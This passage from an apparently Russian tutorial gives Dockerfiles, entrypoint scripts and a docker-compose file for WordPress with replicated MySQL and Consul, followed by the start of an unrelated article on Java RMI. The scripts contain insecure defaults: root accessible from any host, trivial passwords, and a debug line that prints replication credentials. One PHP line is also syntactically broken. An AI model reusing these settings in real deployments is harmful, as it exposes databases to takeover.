tar cf - --one-file-system -C /usr/src/wordpress . | tar xf -
echo >&2 "Complete! WordPress has been successfully copied to $(pwd)"
if [ ! -e .htaccess ]; then
# NOTE: The "Indexes" option is disabled in the php:apache base image
cat > .htaccess <<-'EOF'
# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST\_FILENAME} !-f
RewriteCond %{REQUEST\_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
EOF
chown www-data:www-data .htaccess
fi
fi
# TODO handle WordPress upgrades magically in the same way, but only if wp-includes/version.php's $wp_version is less than /usr/src/wordpress/wp-includes/version.php's $wp_version
# version 4.4.1 decided to switch to windows line endings, that breaks our seds and awks
# https://github.com/docker-library/wordpress/issues/116
# https://github.com/WordPress/WordPress/commit/1acedc542fba2482bab88ec70d4bea4b997a92e4
sed -ri 's/\r\n|\r/\n/g' wp-config*
# FPM должен слушать 0.0.0.0
sed -i 's/listen = 127.0.0.1:9000/listen = 0.0.0.0:9000/g' /usr/local/etc/php-fpm.d/www.conf
if [ ! -e wp-config.php ]; then
awk '/^\/\*.*stop editing.*\*\/$/ && c == 0 { c = 1; system("cat") } { print }' wp-config-sample.php > wp-config.php <<'EOPHP'
// If we're behind a proxy server and using HTTPS, we need to alert Wordpress of that fact
// see also http://codex.wordpress.org/Administration_Over_SSL#Using_a_Reverse_Proxy
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
$_SERVER['HTTPS'] = 'on';
}
EOPHP
# Инклудим сгенерированный Consul Template конфиг с обнаруженным MySQL
DB_HOST_PRE=$(grep 'DB_HOST' wp-config.php)
sed -i "s/$DB_HOST_PRE/include 'db.conf.php';/g" wp-config.php
chown www-data:www-data wp-config.php
fi
# see http://stackoverflow.com/a/2705678/433558
sed_escape_lhs() {
echo "$@" | sed 's/[]\/$*.^|[]/\\&/g'
}
sed_escape_rhs() {
echo "$@" | sed 's/[\/&]/\\&/g'
}
php_escape() {
php -r 'var_export(('$2') $argv[1]);' "$1"
}
set_config() {
key="$1"
value="$2"
var_type="${3:-string}"
start="(['\"])$(sed_escape_lhs "$key")\2\s*,"
end="\);"
if [ "${key:0:1}" = '$' ]; then
start="^(\s*)$(sed_escape_lhs "$key")\s*="
end=";"
fi
sed -ri "s/($start\s*).*($end)$/\1$(sed_escape_rhs "$(php_escape "$value" "$var_type")")\3/" wp-config.php
}
set_config 'DB_HOST' "$WORDPRESS_DB_HOST"
set_config 'DB_USER' "$WORDPRESS_DB_USER"
set_config 'DB_PASSWORD' "$WORDPRESS_DB_PASSWORD"
set_config 'DB_NAME' "$WORDPRESS_DB_NAME"
# allow any of these "Authentication Unique Keys and Salts." to be specified via
# environment variables with a "WORDPRESS_" prefix (ie, "WORDPRESS_AUTH_KEY")
UNIQUES=(
AUTH_KEY
SECURE_AUTH_KEY
LOGGED_IN_KEY
NONCE_KEY
AUTH_SALT
SECURE_AUTH_SALT
LOGGED_IN_SALT
NONCE_SALT
)
for unique in "${UNIQUES[@]}"; do
eval unique_value=\$WORDPRESS_$unique
if [ "$unique_value" ]; then
set_config "$unique" "$unique_value"
else
# if not specified, let's generate a random value
current_set="$(sed -rn "s/define\((([\'\"])$unique\2\s*,\s*)(['\"])(.*)\3\);/\4/p" wp-config.php)"
if [ "$current_set" = 'put your unique phrase here' ]; then
set_config "$unique" "$(head -c1M /dev/urandom | sha1sum | cut -d' ' -f1)"
fi
fi
done
if [ "$WORDPRESS_TABLE_PREFIX" ]; then
set_config '$table_prefix' "$WORDPRESS_TABLE_PREFIX"
fi
if [ "$WORDPRESS_DEBUG" ]; then
set_config 'WP_DEBUG' 1 boolean
fi
TERM=dumb php -- "$WORDPRESS_DB_HOST" "$WORDPRESS_DB_USER" "$WORDPRESS_DB_PASSWORD" "$WORDPRESS_DB_NAME" <<'EOPHP'
php
// database might not exist, so let's try creating it (just to be safe)
$stderr = fopen('php://stderr', 'w');
list($host, $port) = explode(':', $argv[1], 2);
$maxTries = 10;
do {
$mysql = new mysqli($host, $argv[2], $argv[3], '', (int)$port);
if ($mysql-connect_error) {
fwrite($stderr, "\n" . 'MySQL Connection Error: (' . $mysql->connect_errno . ') ' . $mysql->connect_error . "\n");
--$maxTries;
if ($maxTries <= 0) {
exit(1);
}
sleep(3);
}
} while ($mysql->connect_error);
if (!$mysql->query('CREATE DATABASE IF NOT EXISTS `' . $mysql->real_escape_string($argv[4]) . '`')) {
fwrite($stderr, "\n" . 'MySQL "CREATE DATABASE" Error: ' . $mysql->error . "\n");
$mysql->close();
exit(1);
}
$mysql->close();
EOPHP
fi
# Инклудим consul-template
exec /usr/local/sbin/php-fpm &
exec /usr/local/bin/consul-template.sh
exec "$@"
```
Хорошо, теперь соберём образ:
```
docker build -t fpm .
```
Запускать его пока что не стоит, т. к. у нас еще нет сервера базы данных для полноценной работы Wordpress
```
docker run --name fpm.0 -d -v /mnt/storage/www:/var/www/html \
-e WORDPRESS_DB_NAME=wordpressp -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress \
--link consul:consul -l "SERVICE_NAME=php-fpm" -l "SERVICE_PORT=9000" -p 9000:9000 fpm
```
### База данных:
#### Master
В качестве базы данных воспользуемся образом [MySQL 5.7](https://github.com/docker-library/mysql/tree/4e022c06314ff6047dabc4abee2f222ae9ce564d/5.7).
Нам потребуется также его немного поправить. А именно: сделать два образа. Один — для Master, второй — для Slave.
Начнём с образа для Master.
**Наш Dockerfile**
```
FROM debian:jessie
# add our user and group first to make sure their IDs get assigned consistently, regardless of whatever dependencies get added
RUN groupadd -r mysql && useradd -r -g mysql mysql
RUN mkdir /docker-entrypoint-initdb.d
# FATAL ERROR: please install the following Perl modules before executing /usr/local/mysql/scripts/mysql_install_db:
# File::Basename
# File::Copy
# Sys::Hostname
# Data::Dumper
RUN apt-get update && apt-get install -y perl pwgen --no-install-recommends && rm -rf /var/lib/apt/lists/*
# gpg: key 5072E1F5: public key "MySQL Release Engineering " imported
RUN apt-key adv --keyserver ha.pool.sks-keyservers.net --recv-keys A4A9406876FCBD3C456770C88C718D3B5072E1F5
ENV MYSQL\_MAJOR 5.7
ENV MYSQL\_VERSION 5.7.11-1debian8
RUN echo "deb http://repo.mysql.com/apt/debian/ jessie mysql-${MYSQL\_MAJOR}" > /etc/apt/sources.list.d/mysql.list
# the "/var/lib/mysql" stuff here is because the mysql-server postinst doesn't have an explicit way to disable the mysql\_install\_db codepath besides having a database already "configured" (ie, stuff in /var/lib/mysql/mysql)
# also, we set debconf keys to make APT a little quieter
RUN { \
echo mysql-community-server mysql-community-server/data-dir select ''; \
echo mysql-community-server mysql-community-server/root-pass password ''; \
echo mysql-community-server mysql-community-server/re-root-pass password ''; \
echo mysql-community-server mysql-community-server/remove-test-db select false; \
} | debconf-set-selections \
&& apt-get update && apt-get install -y mysql-server="${MYSQL\_VERSION}" && rm -rf /var/lib/apt/lists/\* \
&& rm -rf /var/lib/mysql && mkdir -p /var/lib/mysql
# comment out a few problematic configuration values
# don't reverse lookup hostnames, they are usually another container
RUN sed -Ei 's/^(bind-address|log)/#&/' /etc/mysql/my.cnf \
&& echo 'skip-host-cache\nskip-name-resolve' | awk '{ print } $1 == "[mysqld]" && c == 0 { c = 1; system("cat") }' /etc/mysql/my.cnf > /tmp/my.cnf \
&& mv /tmp/my.cnf /etc/mysql/my.cnf
VOLUME /var/lib/mysql
COPY docker-entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
EXPOSE 3306
CMD ["mysqld"]
```
Скрипт запуска MySQL:
**docker-entrypoint.sh**
```
#!/bin/bash
set -eo pipefail
# if command starts with an option, prepend mysqld
if [ "${1:0:1}" = '-' ]; then
set -- mysqld "$@"
fi
if [ "$1" = 'mysqld' ]; then
# Get config
DATADIR="$("$@" --verbose --help 2>/dev/null | awk '$1 == "datadir" { print $2; exit }')"
if [ ! -d "$DATADIR/mysql" ]; then
if [ -z "$MYSQL_ROOT_PASSWORD" -a -z "$MYSQL_ALLOW_EMPTY_PASSWORD" -a -z "$MYSQL_RANDOM_ROOT_PASSWORD" ]; then
echo >&2 'error: database is uninitialized and password option is not specified '
echo >&2 ' You need to specify one of MYSQL_ROOT_PASSWORD, MYSQL_ALLOW_EMPTY_PASSWORD and MYSQL_RANDOM_ROOT_PASSWORD'
exit 1
fi
mkdir -p "$DATADIR"
chown -R mysql:mysql "$DATADIR"
echo 'Initializing database'
"$@" --initialize-insecure
echo 'Database initialized'
"$@" --skip-networking &
pid="$!"
mysql=( mysql --protocol=socket -uroot )
for i in {30..0}; do
if echo 'SELECT 1' | "${mysql[@]}" &> /dev/null; then
break
fi
echo 'MySQL init process in progress...'
sleep 1
done
if [ "$i" = 0 ]; then
echo >&2 'MySQL init process failed.'
exit 1
fi
if [ -n "${REPLICATION_MASTER}" ]; then
echo "=> Configuring MySQL replication as master (1/2) ..."
if [ ! -f /replication_set.1 ]; then
echo "=> Writting configuration file /etc/mysql/my.cnf with server-id=1"
echo 'server-id = 1' >> /etc/mysql/my.cnf
echo 'log-bin = mysql-bin' >> /etc/mysql/my.cnf
touch /replication_set.1
else
echo "=> MySQL replication master already configured, skip"
fi
fi
# Set MySQL REPLICATION - SLAVE
if [ -n "${REPLICATION_SLAVE}" ]; then
echo "=> Configuring MySQL replication as slave (1/2) ..."
if [ -n "${MYSQL_PORT_3306_TCP_ADDR}" ] && [ -n "${MYSQL_PORT_3306_TCP_PORT}" ]; then
if [ ! -f /replication_set.1 ]; then
echo "=> Writting configuration file /etc/mysql/my.cnf with server-id=2"
echo 'server-id = 2' >> /etc/mysql/my.cnf
echo 'log-bin = mysql-bin' >> /etc/mysql/my.cnf
echo 'log-bin=slave-bin' >> /etc/mysql/my.cnf
touch /replication_set.1
else
echo "=> MySQL replication slave already configured, skip"
fi
else
echo "=> Cannot configure slave, please link it to another MySQL container with alias as 'mysql'"
exit 1
fi
fi
# Set MySQL REPLICATION - SLAVE
if [ -n "${REPLICATION_SLAVE}" ]; then
echo "=> Configuring MySQL replication as slave (2/2) ..."
if [ -n "${MYSQL_PORT_3306_TCP_ADDR}" ] && [ -n "${MYSQL_PORT_3306_TCP_PORT}" ]; then
if [ ! -f /replication_set.2 ]; then
echo "=> Setting master connection info on slave"
echo "!!! DEBUG: ${REPLICATION_USER}, ${REPLICATION_PASS}."
"${mysql[@]}" <<-EOSQL
-- What's done in this file shouldn't be replicated
-- or products like mysql-fabric won't work
SET @@SESSION.SQL_LOG_BIN=0;
CHANGE MASTER TO MASTER_HOST='${MYSQL_PORT_3306_TCP_ADDR}',MASTER_USER='${REPLICATION_USER}',MASTER_PASSWORD='${REPLICATION_PASS}',MASTER_PORT=${MYSQL_PORT_3306_TCP_PORT}, MASTER_CONNECT_RETRY=30;
START SLAVE ;
EOSQL
echo "=> Done!"
touch /replication_set.2
else
echo "=> MySQL replication slave already configured, skip"
fi
else
echo "=> Cannot configure slave, please link it to another MySQL container with alias as 'mysql'"
exit 1
fi
fi
if [ -z "$MYSQL_INITDB_SKIP_TZINFO" ]; then
# sed is for https://bugs.mysql.com/bug.php?id=20545
mysql_tzinfo_to_sql /usr/share/zoneinfo | sed 's/Local time zone must be set--see zic manual page/FCTY/' | "${mysql[@]}" mysql
fi
if [ ! -z "$MYSQL_RANDOM_ROOT_PASSWORD" ]; then
MYSQL_ROOT_PASSWORD="$(pwgen -1 32)"
echo "GENERATED ROOT PASSWORD: $MYSQL_ROOT_PASSWORD"
fi
"${mysql[@]}" <<-EOSQL
-- What's done in this file shouldn't be replicated
-- or products like mysql-fabric won't work
SET @@SESSION.SQL_LOG_BIN=0;
DELETE FROM mysql.user ;
CREATE USER 'root'@'%' IDENTIFIED BY '${MYSQL_ROOT_PASSWORD}' ;
GRANT ALL ON *.* TO 'root'@'%' WITH GRANT OPTION ;
DROP DATABASE IF EXISTS test ;
FLUSH PRIVILEGES ;
EOSQL
if [ ! -z "$MYSQL_ROOT_PASSWORD" ]; then
mysql+=( -p"${MYSQL_ROOT_PASSWORD}" )
fi
# Set MySQL REPLICATION - MASTER
if [ -n "${REPLICATION_MASTER}" ]; then
echo "=> Configuring MySQL replication as master (2/2) ..."
if [ ! -f /replication_set.2 ]; then
echo "=> Creating a log user ${REPLICATION_USER}:${REPLICATION_PASS}"
"${mysql[@]}" <<-EOSQL
-- What's done in this file shouldn't be replicated
-- or products like mysql-fabric won't work
SET @@SESSION.SQL_LOG_BIN=0;
CREATE USER '${REPLICATION_USER}'@'%' IDENTIFIED BY '${REPLICATION_PASS}';
GRANT REPLICATION SLAVE ON *.* TO '${REPLICATION_USER}'@'%' ;
FLUSH PRIVILEGES ;
RESET MASTER ;
EOSQL
echo "=> Done!"
touch /replication_set.2
else
echo "=> MySQL replication master already configured, skip"
fi
fi
if [ "$MYSQL_DATABASE" ]; then
echo "CREATE DATABASE IF NOT EXISTS \`$MYSQL_DATABASE\` ;" | "${mysql[@]}"
mysql+=( "$MYSQL_DATABASE" )
fi
if [ "$MYSQL_USER" -a "$MYSQL_PASSWORD" ]; then
echo "CREATE USER '$MYSQL_USER'@'%' IDENTIFIED BY '$MYSQL_PASSWORD' ;" | "${mysql[@]}"
if [ "$MYSQL_DATABASE" ]; then
echo "GRANT ALL ON \`$MYSQL_DATABASE\`.* TO '$MYSQL_USER'@'%' ;" | "${mysql[@]}"
fi
echo 'FLUSH PRIVILEGES ;' | "${mysql[@]}"
fi
echo
for f in /docker-entrypoint-initdb.d/*; do
case "$f" in
*.sh) echo "$0: running $f"; . "$f" ;;
*.sql) echo "$0: running $f"; "${mysql[@]}" < "$f"; echo ;;
*.sql.gz) echo "$0: running $f"; gunzip -c "$f" | "${mysql[@]}"; echo ;;
*) echo "$0: ignoring $f" ;;
esac
echo
done
if [ ! -z "$MYSQL_ONETIME_PASSWORD" ]; then
"${mysql[@]}" <<-EOSQL
ALTER USER 'root'@'%' PASSWORD EXPIRE;
EOSQL
fi
if ! kill -s TERM "$pid" || ! wait "$pid"; then
echo >&2 'MySQL init process failed.'
exit 1
fi
echo
echo 'MySQL init process done. Ready for start up.'
echo
fi
chown -R mysql:mysql "$DATADIR"
fi
exec "$@"
```
И сборка:
```
docker build -t mysql-master .
```
```
docker run --name mysql-master.0 -v /mnt/volumes/master:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=rootpass -e MYSQL_USER=wordpress -e MYSQL_PASSWORD=wordpress -e MYSQL_DB=wordpress -e REPLICATION_MASTER=true -e REPLICATION_USER=replica -e REPLICATION_PASS=replica --link consul:consul -l "SERVICE_NAME=master" -l "SERVICE_PORT=3306" -p 3306:3306 -d mysql-master
```
Если Вы заметили, мы добавили в скрипт возможность передавать параметры запуска для настройки репликации MySQL (REPLICATION\_USER, REPLICATION\_PASS, REPLICATION\_MASTER, REPLICATION\_SLAVE).
#### Slave
Образ Slave мы сделаем таким образом, чтобы MySQL сам находил Master-сервер и включал репликацию. Здесь опять же к нам на помощь приходит Consul Template:
**Dockerfile**
```
FROM debian:jessie
# add our user and group first to make sure their IDs get assigned consistently, regardless of whatever dependencies get added
RUN groupadd -r mysql && useradd -r -g mysql mysql
RUN mkdir /docker-entrypoint-initdb.d
# FATAL ERROR: please install the following Perl modules before executing /usr/local/mysql/scripts/mysql_install_db:
# File::Basename
# File::Copy
# Sys::Hostname
# Data::Dumper
RUN apt-get update && apt-get install -y perl pwgen --no-install-recommends && rm -rf /var/lib/apt/lists/*
# gpg: key 5072E1F5: public key "MySQL Release Engineering " imported
RUN apt-key adv --keyserver ha.pool.sks-keyservers.net --recv-keys A4A9406876FCBD3C456770C88C718D3B5072E1F5
ENV MYSQL\_MAJOR 5.7
ENV MYSQL\_VERSION 5.7.11-1debian8
RUN echo "deb http://repo.mysql.com/apt/debian/ jessie mysql-${MYSQL\_MAJOR}" > /etc/apt/sources.list.d/mysql.list
# the "/var/lib/mysql" stuff here is because the mysql-server postinst doesn't have an explicit way to disable the mysql\_install\_db codepath besides having a database already "configured" (ie, stuff in /var/lib/mysql/mysql)
# also, we set debconf keys to make APT a little quieter
RUN { \
echo mysql-community-server mysql-community-server/data-dir select ''; \
echo mysql-community-server mysql-community-server/root-pass password ''; \
echo mysql-community-server mysql-community-server/re-root-pass password ''; \
echo mysql-community-server mysql-community-server/remove-test-db select false; \
} | debconf-set-selections \
&& apt-get update && apt-get install -y mysql-server="${MYSQL\_VERSION}" && rm -rf /var/lib/apt/lists/\* \
&& rm -rf /var/lib/mysql && mkdir -p /var/lib/mysql
# comment out a few problematic configuration values
# don't reverse lookup hostnames, they are usually another container
RUN sed -Ei 's/^(bind-address|log)/#&/' /etc/mysql/my.cnf \
&& echo 'skip-host-cache\nskip-name-resolve' | awk '{ print } $1 == "[mysqld]" && c == 0 { c = 1; system("cat") }' /etc/mysql/my.cnf > /tmp/my.cnf \
&& mv /tmp/my.cnf /etc/mysql/my.cnf
ADD https://releases.hashicorp.com/consul-template/0.12.2/consul-template\_0.12.2\_linux\_amd64.zip /usr/bin/
RUN unzip /usr/bin/consul-template\_0.12.2\_linux\_amd64.zip -d /usr/local/bin
ADD mysql-master.ctmpl /tmp/mysql-master.ctmpl
VOLUME /var/lib/mysql
COPY docker-entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
EXPOSE 3306
CMD ["mysqld"]
```
**docker-entrypoint.sh**
```
#!/bin/bash
set -eo pipefail
# Спрашиваем у Consul, где у нас живой master
MYSQL_PORT_3306_TCP_ADDR="$(/usr/bin/consul-template --template=/tmp/mysql-master.ctmpl --consul=consul:8500 --dry -once | awk '{print $1}' | tail -1)"
MYSQL_PORT_3306_TCP_PORT="$(/usr/bin/consul-template --template=/tmp/mysql-master.ctmpl --consul=consul:8500 --dry -once | awk '{print $2}' | tail -1)"
if [ "${1:0:1}" = '-' ]; then
set -- mysqld "$@"
fi
if [ "$1" = 'mysqld' ]; then
# Get config
DATADIR="$("$@" --verbose --help 2>/dev/null | awk '$1 == "datadir" { print $2; exit }')"
if [ ! -d "$DATADIR/mysql" ]; then
if [ -z "$MYSQL_ROOT_PASSWORD" -a -z "$MYSQL_ALLOW_EMPTY_PASSWORD" -a -z "$MYSQL_RANDOM_ROOT_PASSWORD" ]; then
echo >&2 'error: database is uninitialized and password option is not specified '
echo >&2 ' You need to specify one of MYSQL_ROOT_PASSWORD, MYSQL_ALLOW_EMPTY_PASSWORD and MYSQL_RANDOM_ROOT_PASSWORD'
exit 1
fi
mkdir -p "$DATADIR"
chown -R mysql:mysql "$DATADIR"
echo 'Initializing database'
"$@" --initialize-insecure
echo 'Database initialized'
"$@" --skip-networking &
pid="$!"
mysql=( mysql --protocol=socket -uroot )
for i in {30..0}; do
if echo 'SELECT 1' | "${mysql[@]}" &> /dev/null; then
break
fi
echo 'MySQL init process in progress...'
sleep 1
done
if [ "$i" = 0 ]; then
echo >&2 'MySQL init process failed.'
exit 1
fi
if [ -n "${REPLICATION_MASTER}" ]; then
echo "=> Configuring MySQL replication as master (1/2) ..."
if [ ! -f /replication_set.1 ]; then
echo "=> Writting configuration file /etc/mysql/my.cnf with server-id=1"
echo 'server-id = 1' >> /etc/mysql/my.cnf
echo 'log-bin = mysql-bin' >> /etc/mysql/my.cnf
touch /replication_set.1
else
echo "=> MySQL replication master already configured, skip"
fi
fi
# Set MySQL REPLICATION - SLAVE
if [ -n "${REPLICATION_SLAVE}" ]; then
echo "=> Configuring MySQL replication as slave (1/2) ..."
if [ -n "${MYSQL_PORT_3306_TCP_ADDR}" ] && [ -n "${MYSQL_PORT_3306_TCP_PORT}" ]; then
if [ ! -f /replication_set.1 ]; then
echo "=> Writting configuration file /etc/mysql/my.cnf with server-id=2"
echo 'server-id = 2' >> /etc/mysql/my.cnf
echo 'log-bin = mysql-bin' >> /etc/mysql/my.cnf
echo 'log-bin=slave-bin' >> /etc/mysql/my.cnf
touch /replication_set.1
else
echo "=> MySQL replication slave already configured, skip"
fi
else
echo "=> Cannot configure slave, please link it to another MySQL container with alias as 'mysql'"
exit 1
fi
fi
# Set MySQL REPLICATION - SLAVE
if [ -n "${REPLICATION_SLAVE}" ]; then
echo "=> Configuring MySQL replication as slave (2/2) ..."
if [ -n "${MYSQL_PORT_3306_TCP_ADDR}" ] && [ -n "${MYSQL_PORT_3306_TCP_PORT}" ]; then
if [ ! -f /replication_set.2 ]; then
echo "=> Setting master connection info on slave"
"${mysql[@]}" <<-EOSQL
-- What's done in this file shouldn't be replicated
-- or products like mysql-fabric won't work
SET @@SESSION.SQL_LOG_BIN=0;
CHANGE MASTER TO MASTER_HOST='${MYSQL_PORT_3306_TCP_ADDR}',MASTER_USER='${REPLICATION_USER}',MASTER_PASSWORD='${REPLICATION_PASS}',MASTER_PORT=${MYSQL_PORT_3306_TCP_PORT}, MASTER_CONNECT_RETRY=30;
START SLAVE ;
EOSQL
echo "=> Done!"
touch /replication_set.2
else
echo "=> MySQL replication slave already configured, skip"
fi
else
echo "=> Cannot configure slave, please link it to another MySQL container with alias as 'mysql'"
exit 1
fi
fi
if [ -z "$MYSQL_INITDB_SKIP_TZINFO" ]; then
# sed is for https://bugs.mysql.com/bug.php?id=20545
mysql_tzinfo_to_sql /usr/share/zoneinfo | sed 's/Local time zone must be set--see zic manual page/FCTY/' | "${mysql[@]}" mysql
fi
if [ ! -z "$MYSQL_RANDOM_ROOT_PASSWORD" ]; then
MYSQL_ROOT_PASSWORD="$(pwgen -1 32)"
echo "GENERATED ROOT PASSWORD: $MYSQL_ROOT_PASSWORD"
fi
"${mysql[@]}" <<-EOSQL
-- What's done in this file shouldn't be replicated
-- or products like mysql-fabric won't work
SET @@SESSION.SQL_LOG_BIN=0;
DELETE FROM mysql.user ;
CREATE USER 'root'@'%' IDENTIFIED BY '${MYSQL_ROOT_PASSWORD}' ;
GRANT ALL ON *.* TO 'root'@'%' WITH GRANT OPTION ;
DROP DATABASE IF EXISTS test ;
FLUSH PRIVILEGES ;
EOSQL
if [ ! -z "$MYSQL_ROOT_PASSWORD" ]; then
mysql+=( -p"${MYSQL_ROOT_PASSWORD}" )
fi
# Set MySQL REPLICATION - MASTER
if [ -n "${REPLICATION_MASTER}" ]; then
echo "=> Configuring MySQL replication as master (2/2) ..."
if [ ! -f /replication_set.2 ]; then
echo "=> Creating a log user ${REPLICATION_USER}:${REPLICATION_PASS}"
"${mysql[@]}" <<-EOSQL
-- What's done in this file shouldn't be replicated
-- or products like mysql-fabric won't work
SET @@SESSION.SQL_LOG_BIN=0;
CREATE USER '${REPLICATION_USER}'@'%' IDENTIFIED BY '${REPLICATION_PASS}';
GRANT REPLICATION SLAVE ON *.* TO '${REPLICATION_USER}'@'%' ;
FLUSH PRIVILEGES ;
RESET MASTER ;
EOSQL
echo "=> Done!"
touch /replication_set.2
else
echo "=> MySQL replication master already configured, skip"
fi
fi
if [ "$MYSQL_DATABASE" ]; then
echo "CREATE DATABASE IF NOT EXISTS \`$MYSQL_DATABASE\` ;" | "${mysql[@]}"
mysql+=( "$MYSQL_DATABASE" )
fi
if [ "$MYSQL_USER" -a "$MYSQL_PASSWORD" ]; then
echo "CREATE USER '$MYSQL_USER'@'%' IDENTIFIED BY '$MYSQL_PASSWORD' ;" | "${mysql[@]}"
if [ "$MYSQL_DATABASE" ]; then
echo "GRANT ALL ON \`$MYSQL_DATABASE\`.* TO '$MYSQL_USER'@'%' ;" | "${mysql[@]}"
fi
echo 'FLUSH PRIVILEGES ;' | "${mysql[@]}"
fi
echo
for f in /docker-entrypoint-initdb.d/*; do
case "$f" in
*.sh) echo "$0: running $f"; . "$f" ;;
*.sql) echo "$0: running $f"; "${mysql[@]}" < "$f"; echo ;;
*.sql.gz) echo "$0: running $f"; gunzip -c "$f" | "${mysql[@]}"; echo ;;
*) echo "$0: ignoring $f" ;;
esac
echo
done
if [ ! -z "$MYSQL_ONETIME_PASSWORD" ]; then
"${mysql[@]}" <<-EOSQL
ALTER USER 'root'@'%' PASSWORD EXPIRE;
EOSQL
fi
if ! kill -s TERM "$pid" || ! wait "$pid"; then
echo >&2 'MySQL init process failed.'
exit 1
fi
echo
echo 'MySQL init process done. Ready for start up.'
echo
fi
chown -R mysql:mysql "$DATADIR"
fi
exec "$@"
```
И шаблон для Consul Template, mysql-master.ctmpl:
```
{{range service "master"}}{{.Address}} {{.Port}} {{end}}
```
Собираем:
```
docker build -t mysql-slave .
```
Запускаем:
```
docker run --name mysql-slave.0 -v /mnt/volumes/slave:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=rootpass -e REPLICATION_SLAVE=true -e REPLICATION_USER=replica -e REPLICATION_PASS=replica --link=consul:consul -l "SERVICE_NAME=slave" -l "SERVICE_PORT=3307" -p 3307:3306 -d mysql-slave
```
Итак, теперь самое время запустить наш бэкенд.
```
docker run --name fpm.0 -d -v /mnt/storage/www:/var/www/html \
-e WORDPRESS_DB_NAME=wordpressp -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress \
--link consul:consul -l "SERVICE_NAME=php-fpm" -l "SERVICE_PORT=9000" -l "SERVICE_TAGS=worker" -p 9000:9000 fpm
```
Если всё прошло удачно, то, открыв в браузере адрес нашего балансировщика, мы увидим приветствие Wordress с предложением установить его.
В противном случае — смотрим логи
```
docker logs
```
### Docker-compose.
Мы собрали образы с сервисами, необходимыми для нашего приложения, мы можем запускать его в любое время в любом месте, но… Зачем нам помнить столько команд, параметров запуска, переменных для запуска контейнеров? Здесь к нам на помощь приходит ещё один классный инструмент — [docker-compose](https://docs.docker.com/compose/).
Этот инструмент предназначен для запуска приложений в нескольких контейнерах. Docker-compose использует декларативный сценарий в формате YAML, в котором указываются с какими параметрами и переменными запустить контейнер. Сценарии легко читаются и просты для восприятия.
Мы напишем такой простой сценарий, который запустит в нескольких контейнерах всё необходимое для нашего веб-приложения docker-compose.yml.
**Скрытый текст**
```
mysql-master:
image: mysql-master
ports:
- "3306:3306"
environment:
- "MYSQL_DATABASE=wp"
- "MYSQL_USER=wordpress"
- "MYSQL_PASSWORD=wordpress"
- "REPLICATION_MASTER=true"
- "REPLICATION_USER=replica"
- "REPLICATION_PASS=replica"
external_links:
- consul:consul
labels:
- "SERVICE_NAME=mysql-master"
- "SERVICE_PORT=3306"
- "SERVICE_TAGS=db"
volumes:
- '/mnt/storage/master:/var/lib/mysql'
mysql-slave:
image: mysql-slave
ports:
- "3307:3306"
environment:
- "REPLICATION_SLAVE=true"
- "REPLICATION_USER=replica"
- "REPLICATION_PASS=replica"
external_links:
- consul:consul
labels:
- "SERVICE_NAME=mysql-slave"
- "SERVICE_PORT=3307"
- "SERVICE_TAGS=db"
volumes:
- '/mnt/storage/slave:/var/lib/mysql'
wordpress:
image: fpm
ports:
- "9000:9000"
environment:
- "WORDPRESS_DB_NAME=wp"
- "WORDPRESS_DB_USER=wordpress"
- "WORDPRESS_DB_PASSWORD=wordpress"
external_links:
- consul:consul
labels:
- "SERVICE_NAME=php-fpm"
- "SERVICE_PORT=9000"
- "SERVICE_TAGS=worker"
volumes:
- '/mnt/storage/www:/var/www/html'
```
Теперь осталось выполнить команду запуска нашего «докеризированного» приложения, откинуться на спинку кресла и любоваться результатом.
```
docker-compose up
```
Заключение
----------
#### Из достоинств
— Распределённая архитектура приложения.
Swarm прекрасно справляется с балансировкой нагрузки. Мы можем запускать сколько угодно копий приложения, пока на нодах есть ресурсы. И запускать «в один клик».
— Простота масштабирования.
Как видите, включить новую ноду в кластер — проще простого. Подключаем ноду — запускаем сервис. При желании эту процедуру можно ещё больше автоматизировать.
— Динамическая инфраструктура приложения.
Каждый сервис может без проблем получать информацию о том, где что находится и с кем ему нужно взаимодействовать.
— Запуск приложения в одну команду.
Сценарий docker-compose позволяет нам развернуть всю инфраструктуру и связать приложения буквально в одно нажатие кнопки.
#### Из недостатков
Персистентные данные.
Не раз уже говорилось о том, что у Docker не так всё гладко с stateful-сервисами. Мы пробовали flocker, но он показался очень сырым, плагин постоянно «отваливался» по непонятным причинам.
Мы использовали для синхронизации персистентных данных сначала glusterfs, потом lsyncd. Glusterfs, вроде как, довольно неплохо справляется со своей задачей, но в продакшене мы его использовать пока не решались.
Возможно, Вы знаете более изящный способ решения данной проблемы — было бы здорово его услышать.
*P. S.*
*Данная статья нисколько не претендует на всеобъемлющее how-to, а лишь описывает базовые возможности использованных нами инструментов в конкретном юзкейсе.
Если у вас есть более интересные решения/предложения по инструментами, решающим подобные задачи, буду рад увидеть их в комментариях.*](https://docs.docker.com/registry/deploying/) | https://habr.com/ru/post/278939/ | null | ru | null |
# RMI для нескольких сетевых интерфейсов
Здравствуй, Хабр!
В ходе работы появилась задача создать несколько RMI реестров, доступных через разные сетевые интерфейсы (локальная сеть и интернет). И к моему удивлению я ничего толком не нашел в сети по этому вопросу. Поэтому разобравшись сам, решил поделиться решением с людьми.
#### Дано
Сервер с двумя сетевыми интерфейсами: локальный и внешний IP-адреса. Интерфейс, используемый клиентом и реализуемый сервером:
```
public interface Server extends Remote {
public String getMessage() throws RemoteException;
}
```
#### Задача
Создать два RMI реестра, каждый для своего сетевого интерфейса.
#### Решение
